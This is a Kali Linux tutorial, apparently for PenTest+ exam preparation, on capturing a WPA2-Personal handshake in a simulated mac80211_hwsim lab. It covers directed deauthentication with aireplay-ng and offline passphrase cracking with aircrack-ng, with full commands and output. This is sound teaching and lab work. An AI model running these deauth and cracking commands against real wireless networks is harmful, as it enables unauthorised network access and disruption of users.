| Tested on | Kali GNU/Linux Rolling 2026.2 (kali-rolling) |
|---|---|
| Package | aircrack-ng 1:1.7+git20230807.4bf83f1a-3, hostapd 2:2.10-25+b2, wpasupplicant 2:2.10-25+b2, iw 6.17-1 |
| Lab environment | Pentest lab |
| Cert prep | CompTIA PenTest+ PT0-003: wireless handshake capture and offline PSK testing |
| Privilege | sudo for module load, hostapd, monitor mode, and Aircrack tools |
| Scope | WPA/WPA2-Personal four-way handshake capture (passive and directed deauth), EAPOL verification, and offline dictionary testing with Aircrack-ng. Not WPA2-Enterprise, not WPA3 cracking, not evil-twin/captive-portal attacks. |
| Related guides | Evil twin Wi-Fi attack WPA2 Wi-Fi honeypot |
For WPA/WPA2-Personal, you capture the traffic that appears when a client joins an access point, then test candidate passphrases offline with Aircrack-ng. That capture does not contain the Wi-Fi password in plaintext. Aircrack derives WPA key material from each candidate passphrase and the network name (SSID), then checks whether that candidate matches the authentication data in the captured handshake. If the password is not in your list, the tool will not invent it.
This tutorial builds an isolated software Wi-Fi network with mac80211_hwsim, hostapd, and wpa_supplicant on one Kali host. You can follow every step without a USB adapter.
Capture workflow:
- Create the WPA2-Personal AP and client
- Put the third radio in monitor mode
- Find the BSSID, channel, and station
- Start packet capture with
airodump-ng - Wait for reconnect or trigger one directed deauth
- Verify EAPOL handshake frames
- Test candidate PSKs with Aircrack-ng
How WPA/WPA2 handshake cracking works
An access point (AP) is the Wi-Fi radio that broadcasts the network name and lets clients join. On a home router that is the built-in Wi-Fi. In this lab, hostapd on wlan0 is the AP.
A client (also called a station) is the device that joins that network. Here it is wpa_supplicant on wlan1.
WPA/WPA2-Personal uses a shared passphrase (PSK). When a client joins, the AP and client run a four-way handshake. Both sides prove they know the same PSK without sending that passphrase as cleartext.
SSID + PSK
→ key derivation
→ WPA2 authentication (four-way handshake)
→ capture EAPOL frames
→ candidate PSK
→ Aircrack verifies candidate against captureWhat that means in practice:
- The password is not sent over the air as readable text
- A valid WPA/WPA2 handshake capture gives an offline tool enough authentication material to test candidate PSKs. Capturing Messages 1-4 from the same authentication exchange is the clearest lab evidence that you recorded the full exchange
- This page is for WPA/WPA2-Personal (
AUTH=PSKin airodump-ng), not Enterprise (MGT)
| Term | Meaning |
|---|---|
| AP (access point) | Wi-Fi radio that advertises the network and accepts clients (hostapd on wlan0 here) |
| ESSID | Network name shown to users (GLC-WiFi here) |
| BSSID | MAC address of that AP radio |
| Station / client | Device joining the AP (wpa_supplicant on wlan1 here) |
| Channel | Radio channel both sides use (lab uses 6) |
| AUTH | Personal (PSK) or Enterprise (MGT) |
| EAPOL | Frames used while WPA/WPA2 sets up keys during the handshake |
Build the software Wi-Fi lab
You want a reproducible AP, client, and monitor on one Kali VM so you can practice the handshake path without buying a USB adapter.
Create a working directory:
mkdir -p ~/wifi-handshake-labLoad three simulated radios:
sudo modprobe mac80211_hwsim radios=3List the interfaces:
iw dev | grep -E 'phy#|Interface|addr|type'phy#14
Interface wlan2
addr 02:00:00:00:02:00
type managed
phy#13
Interface wlan1
addr 02:00:00:00:01:00
type managed
phy#12
Interface wlan0
addr 02:00:00:00:00:00
type managedMap them like this:
wlan0: legitimate AP (hostapd)wlan1: victim client (wpa_supplicant)wlan2: attacker monitor (airodump-ng/aireplay-ng)
Stop NetworkManager from grabbing the simulated cards:
for i in wlan0 wlan1 wlan2; do sudo nmcli device set "$i" managed no; doneIf hostapd is missing, install it with sudo apt install hostapd. Aircrack tools are usually already present. If airmon-ng is missing, see install airmon-ng on Kali.
Create the access point
Write a small hostapd config with a known lab PSK (GLCwifi2026). That password is easy to find in a tiny wordlist on purpose so the article can show a hit. Real networks often use harder passphrases.
cat > ~/wifi-handshake-lab/hostapd-glc.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=GLC-WiFi
hw_mode=g
channel=6
wpa=2
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
wpa_passphrase=GLCwifi2026
EOFThe lines that matter for security:
wpa=2: WPA2wpa_key_mgmt=WPA-PSK: personal PSKrsn_pairwise=CCMP: AES-CCMPwpa_passphrase: lab shared key
Bring the AP interface up, then start hostapd in the background:
sudo ip link set wlan0 upStart the AP daemon:
sudo hostapd -B ~/wifi-handshake-lab/hostapd-glc.confConfirm the AP is live:
iw dev wlan0 infoInterface wlan0
ifindex 65
wdev 0xc00000001
addr 02:00:00:00:00:00
ssid GLC-WiFi
type AP
wiphy 12
channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz
txpower 30.00 dBmtype AP, ssid GLC-WiFi, and channel 6 mean the simulated access point is ready. Copy the BSSID (addr) for later commands.
Connect the client
Create a matching wpa_supplicant config:
cat > ~/wifi-handshake-lab/wpa-client.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
ssid="GLC-WiFi"
psk="GLCwifi2026"
key_mgmt=WPA-PSK
proto=RSN
pairwise=CCMP
}
EOFBring wlan1 up, then start the client:
sudo ip link set wlan1 upwlan1 should be UP before wpa_supplicant binds to it. Start the client and log to a file:
sudo wpa_supplicant -B -i wlan1 -c ~/wifi-handshake-lab/wpa-client.conf -f ~/wifi-handshake-lab/wpa.logWait a few seconds, then confirm association:
grep CTRL-EVENT-CONNECTED ~/wifi-handshake-lab/wpa.logwlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]Ask the AP which station it sees:
sudo iw wlan0 station dumpStation 02:00:00:00:01:00 (on wlan0)
authorized: yes
authenticated: yes
associated: yes
preamble: short
WMM/WME: no
MFP: no
TDLS peer: no
inactive time: 24420 ms
rx bytes: 397
rx packets: 4
tx bytes: 409authorized: yes plus CTRL-EVENT-CONNECTED means you already have a working WPA2 session before Aircrack enters the picture.
Find the WPA2 network and enable monitor mode
Put the attacker radio in monitor mode
Managed mode is what a normal station uses. Monitor mode lets you see raw 802.11 frames on a channel.
sudo ip link set wlan2 downdown is required before changing the interface type. Switch to monitor:
sudo iw dev wlan2 set type monitorBring the monitor interface back up:
sudo ip link set wlan2 upLock it to the AP channel so you do not miss frames:
sudo iw dev wlan2 set channel 6Confirm monitor mode on channel 6:
iw dev wlan2 infoInterface wlan2
ifindex 67
wdev 0xe00000001
addr 02:00:00:00:02:00
type monitor
wiphy 14
channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz
txpower 30.00 dBmtype monitor is the state you want. On a physical USB adapter you often use airmon-ng. That adapter must support monitor mode, and injection needs extra capability.
Quick injection check against the lab BSSID:
sudo aireplay-ng -9 -a 02:00:00:00:00:00 wlan200:01:27 Trying directed probe requests...
00:01:27 02:00:00:00:00:00 - channel: 6 - 'GLC-WiFi'
00:01:27 30/30: 100%Find the BSSID, channel, and station
Export the BSSID once so later commands stay readable:
export BSSID=$(iw dev wlan0 info | awk '/addr/{print $2; exit}')Pull the associated station MAC from the AP:
export STA=$(sudo iw wlan0 station dump | awk '/Station/{print $2; exit}')Confirm both values before you paste them into tools:
echo "BSSID=$BSSID STA=$STA"BSSID=02:00:00:00:00:00 STA=02:00:00:00:01:00Run a short targeted dump to CSV (cleaner than pasting the full-screen UI into an article):
sudo timeout 8 airodump-ng --band bg -c 6 --bssid "$BSSID" -w ~/wifi-handshake-lab/airodump-live --output-format csv wlan2timeout ends the capture after eight seconds.
Confirm PSK vs Enterprise
Print the header and AP row from the CSV you just wrote:
head -5 ~/wifi-handshake-lab/airodump-live-01.csvBSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
02:00:00:00:00:00, 2026-09-05 00:01:40, 2026-09-05 00:01:48, 6, 54, WPA2, CCMP, PSK, -18, 78, 0, 0. 0. 0. 0, 8, GLC-WiFi,On the AP data line, Authentication is PSK. That is Personal. Continue with this tutorial.
Confirm with grep:
grep -E ', PSK,' ~/wifi-handshake-lab/airodump-live-01.csv02:00:00:00:00:00, 2026-09-05 00:01:40, 2026-09-05 00:01:48, 6, 54, WPA2, CCMP, PSK, -18, 78, 0, 0. 0. 0. 0, 8, GLC-WiFi,Check that Enterprise is not what you have. Empty output is what you want here:
grep -E ', MGT,' ~/wifi-handshake-lab/airodump-live-01.csvIf grep prints an AP row with MGT, stop. That network is Enterprise / 802.1X, not this shared-PSK dictionary path.
Capture the WPA2 handshake
The main capture tool in this article is airodump-ng --write. That matches the usual Aircrack-ng workflow and writes a .cap file you can hand straight to Aircrack. You can use tcpdump later if you want a conventional pcap for Wireshark-only analysis.
Passive capture
You do not need deauthentication just to prove handshake capture. Start airodump-ng first, then make the client authenticate while the write is running.
In Terminal 1, start a targeted write on the monitor interface:
sudo airodump-ng --bssid "$BSSID" --channel 6 --write ~/wifi-handshake-lab/handshake-passive wlan2Leave that running. In Terminal 2, disconnect and reconnect the lab client so a fresh handshake happens:
sudo wpa_cli -i wlan1 disconnectdisconnect drops the association. Reconnect while Terminal 1 is still writing:
sudo wpa_cli -i wlan1 reconnectWait several seconds, then stop airodump-ng in Terminal 1 with Ctrl+C. The capture file is ~/wifi-handshake-lab/handshake-passive-01.cap.
Verify EAPOL Messages 1-4 from that passive file:
tshark -r ~/wifi-handshake-lab/handshake-passive-01.cap -Y eapol -T fields -e frame.number -e _ws.col.Info8 Key (Message 1 of 4)
9 Key (Message 2 of 4)
10 Key (Message 3 of 4)
11 Key (Message 4 of 4)Ask Aircrack whether the passive file looks usable:
aircrack-ng ~/wifi-handshake-lab/handshake-passive-01.cap 1 02:00:00:00:00:00 GLC-WiFi WPA (1 handshake)
1 potential targets
Please specify a dictionary (option -w).WPA (1 handshake) means the passive reconnect produced usable material. You can crack this file the same way as the deauth capture later. The next subsection forces a new handshake when the client is already associated and you need it to authenticate again.
Directed deauthentication
Use deauth when a client is already associated and you need it to authenticate again. Prefer a directed frame to the lab station. Do not flood broadcast deauths for a controlled test.
In Terminal 1, start a new airodump-ng write (different prefix so you do not overwrite the passive file):
sudo airodump-ng --bssid "$BSSID" --channel 6 --write ~/wifi-handshake-lab/handshake wlan2In Terminal 2, send three directed deauth bursts:
sudo aireplay-ng -0 3 -a "$BSSID" -c "$STA" wlan200:00:47 Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 6
00:00:47 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:00:48 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:00:49 Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]On mac80211_hwsim, ACK counts may stay 0. That is normal for this simulator. Wait for the client to reconnect, then stop airodump-ng. The file is ~/wifi-handshake-lab/handshake-01.cap.
Confirm reconnection
Check the victim log for disconnect and a new connect:
grep CTRL-EVENT ~/wifi-handshake-lab/wpa.log | tail -8wlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=3 locally_generated=1
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7
wlan1: CTRL-EVENT-CONNECTED - Connection to 02:00:00:00:00:00 completed [id=0 id_str=]reason=7 matches the deauthentication class from the directed attack. A new CTRL-EVENT-CONNECTED plus EAPOL Messages 1-4 in the capture is the chain you want before cracking.
Optional: capture with tcpdump instead
If you already know the channel and only want a conventional pcap for Wireshark, you can write with tcpdump on the same monitor interface:
sudo tcpdump -i wlan2 -n -s 0 -w ~/wifi-handshake-lab/alt.pcapTrigger reconnect or deauth while that runs, then stop with Ctrl+C. Prefer airodump-ng --write for the main Aircrack path on this page.
Verify the WPA2 handshake
Do not trust only an on-screen WPA handshake: banner. Open the capture and list EAPOL key messages.
Check EAPOL in Tshark/Wireshark
Inspect the directed-deauth capture (use handshake-passive-01.cap if you stayed on the passive path):
tshark -r ~/wifi-handshake-lab/handshake-01.cap -Y eapol -T fields -e frame.number -e _ws.col.Info779 Key (Message 1 of 4)
780 Key (Message 2 of 4)
781 Key (Message 3 of 4)
782 Key (Message 4 of 4)How to read that:
- Message 1: AP → client
- Message 2: client → AP
- Message 3: AP → client
- Message 4: client → AP
Messages 1-4 from the same authentication exchange are the clearest lab evidence. In the Wireshark GUI, open the same .cap and filter eapol.
Confirm Aircrack detects the handshake
Ask Aircrack whether the file looks usable:
aircrack-ng ~/wifi-handshake-lab/handshake-01.cap 1 02:00:00:00:00:00 GLC-WiFi WPA (1 handshake)
1 potential targets
Please specify a dictionary (option -w).WPA (1 handshake) means Aircrack sees enough EAPOL material to try candidates. Please specify a dictionary is normal until you pass -w. Mixed frames from different attempts can still confuse parsers, so prefer a clean capture on one BSSID and channel.
Crack the WPA2 PSK with Aircrack-ng
Successful dictionary match
Start with a small controlled wordlist so the result is easy to reproduce:
printf '%s\n' 'wrongpassword' 'Password123' 'Summer2026' 'admin123' 'GLCwifi2026' 'letmein' > ~/wifi-handshake-lab/wordlist-hit.txtRun Aircrack against the capture that contains the handshake:
aircrack-ng -w ~/wifi-handshake-lab/wordlist-hit.txt -b 02:00:00:00:00:00 ~/wifi-handshake-lab/handshake-01.cap[00:00:00] 6/6 keys tested (98.05 k/s)
KEY FOUND! [ GLCwifi2026 ]That proves offline verification of the lab PSK. The passive file cracks the same way if you point -w at handshake-passive-01.cap instead.
What if Aircrack says KEY NOT FOUND?
Repeat with a list that omits the real PSK:
printf '%s\n' 'wrongpassword' 'Password123' 'Summer2026' 'admin123' 'letmein' > ~/wifi-handshake-lab/wordlist-miss.txtCrack again with that file:
aircrack-ng -w ~/wifi-handshake-lab/wordlist-miss.txt -b 02:00:00:00:00:00 ~/wifi-handshake-lab/handshake-01.cap[00:00:00] 5/5 keys tested (209.30 k/s)
KEY NOT FOUNDThe handshake can still be valid. Here the same file already showed WPA (1 handshake). KEY NOT FOUND means the candidate was not in the list. A larger wordlist only means more candidates to try, not certainty. Targeted lists usually beat assuming rockyou.txt will magically contain the PSK. Prefer engagement-specific candidates, then expand. See the wordlist generator guide when you need generation workflows.
GPU cracking and hash-format conversion are separate topics. This page stays on Aircrack dictionary testing against a local capture.
Common capture and cracking problems
airodump does not show a WPA handshake
Check:
- Capture started before the client authenticated
- Correct BSSID and channel
- Station actually associated (
iw … station dumpor the lower airodump table) - Monitor interface is up on that channel
0 handshakes or incomplete EAPOL
Inspect with tshark -Y eapol or Wireshark. Messages 1-4 from the same exchange are the clearest evidence. Beacons alone are not enough.
No valid WPA handshakes found
Possible causes:
- Incomplete EAPOL exchange
- Wrong file or empty capture
- Frames mixed from multiple APs without
--bssid - Capture started after authentication finished
Deauth sent but client stays connected
On hardware labs, check station MAC, BSSID, injection support, Protected Management Frames, and whether the client reconnects so quietly you miss it in the UI. On hwsim, confirm with wpa_supplicant logs as above.
Lab setup failures
| Symptom | Likely cause | Fix |
|---|---|---|
SCAN-FAILED / busy (-16) |
NetworkManager owning hwsim ifaces | nmcli device set wlanX managed no |
| Client never connects | AP down or wrong PSK/SSID | Confirm iw dev wlan0 info and matching wpa_supplicant config |
| Capture has only beacons | No auth during capture window | Start airodump-ng first, then reconnect or deauth |
| Injection fails on USB NIC | Adapter/driver lacks injection | Use a known compatible chipset; keep learning on hwsim |
KEY NOT FOUND after a full run |
Candidate missing from the list | See What if Aircrack says KEY NOT FOUND?; keep the verified handshake |
Scope notes: Enterprise and WPA3
| Mode | Spot it | This Aircrack PSK workflow |
|---|---|---|
| WPA/WPA2-Personal | AUTH = PSK |
Yes |
| WPA/WPA2-Enterprise | AUTH = MGT |
No |
WPA3-Personal uses SAE instead of WPA/WPA2's PSK authentication mechanism. A WPA3 connection still performs a four-way handshake afterward, but capturing that handshake does not enable the offline PSK dictionary workflow shown on this page. WPA3 also requires Protected Management Frames, which changes classic deauthentication behavior. This page does not cover WPA3 attacks.
mac80211_hwsim vs a real Wi-Fi adapter
mac80211_hwsim |
Physical adapter | |
|---|---|---|
| Best for | Reproducible teaching, no RF | Real RF behavior |
| Needs USB Wi-Fi | No | Yes (monitor/injection capable) |
| Variables | Minimal | Drivers, regulatory domain, interference |
Practice the full capture → EAPOL verify → crack chain in software first. Optionally repeat on authorized hardware later.
Summary
WPA/WPA2-Personal cracking here means offline testing of candidate PSKs against a captured handshake. The air never hands you the password in plaintext. On the Kali mac80211_hwsim lab, you bring up hostapd and wpa_supplicant, put a third radio in monitor mode, capture with airodump-ng during reconnect or after a directed deauth, confirm EAPOL Messages 1-4, then run Aircrack until KEY FOUND! [ GLCwifi2026 ].
Deauthentication only forces reauthentication. Passive capture works when you are already watching. KEY NOT FOUND after a complete dictionary run usually means a weak wordlist, not a bad capture. Leave enterprise, WPA3, PMKID, and rogue AP work to their own guides.
References
- Aircrack-ng WPA/WPA2 documentation: https://www.aircrack-ng.org/doku.php?id=cracking_wpa
- Linux wireless
mac80211_hwsim: https://www.kernel.org/doc/html/latest/networking/mac80211_hwsim/mac80211_hwsim.html - hostapd (about page): https://w1.fi/hostapd/
- Wireshark display filter reference: https://www.wireshark.org/docs/dfref/
Frequently Asked Questions
Does a WPA handshake contain the Wi-Fi password?
No. It contains authentication material that lets an offline tool test whether a candidate passphrase is correct.
Can I capture a handshake without deauthentication?
Yes. Any time a client authenticates while you are capturing on the right channel and BSSID is enough. Deauth only forces that event sooner. This lab verified that path with handshake-passive-01.cap.
Why does Aircrack say KEY NOT FOUND?
Usually the correct PSK is not in the wordlist. The handshake can still be valid. See What if Aircrack says KEY NOT FOUND?.
Does this crack WPA3?
No. This lab is WPA/WPA2-Personal PSK testing. WPA3-Personal uses SAE, then still runs a four-way handshake, but that capture does not enable the offline PSK dictionary workflow shown here.
Do I need a USB Wi-Fi adapter for this tutorial?
No for the software lab. A physical adapter is optional later if you need real RF and monitor/injection hardware.
Is cracking WPA2 online?
The dictionary test is offline against a local capture. You do not need internet for Aircrack once the handshake file and wordlist are on disk.
How do I know the network is WPA2-Personal and not Enterprise?
After the airodump CSV exists, check Authentication with head / grep as in Confirm PSK vs Enterprise. PSK means Personal. MGT means Enterprise.

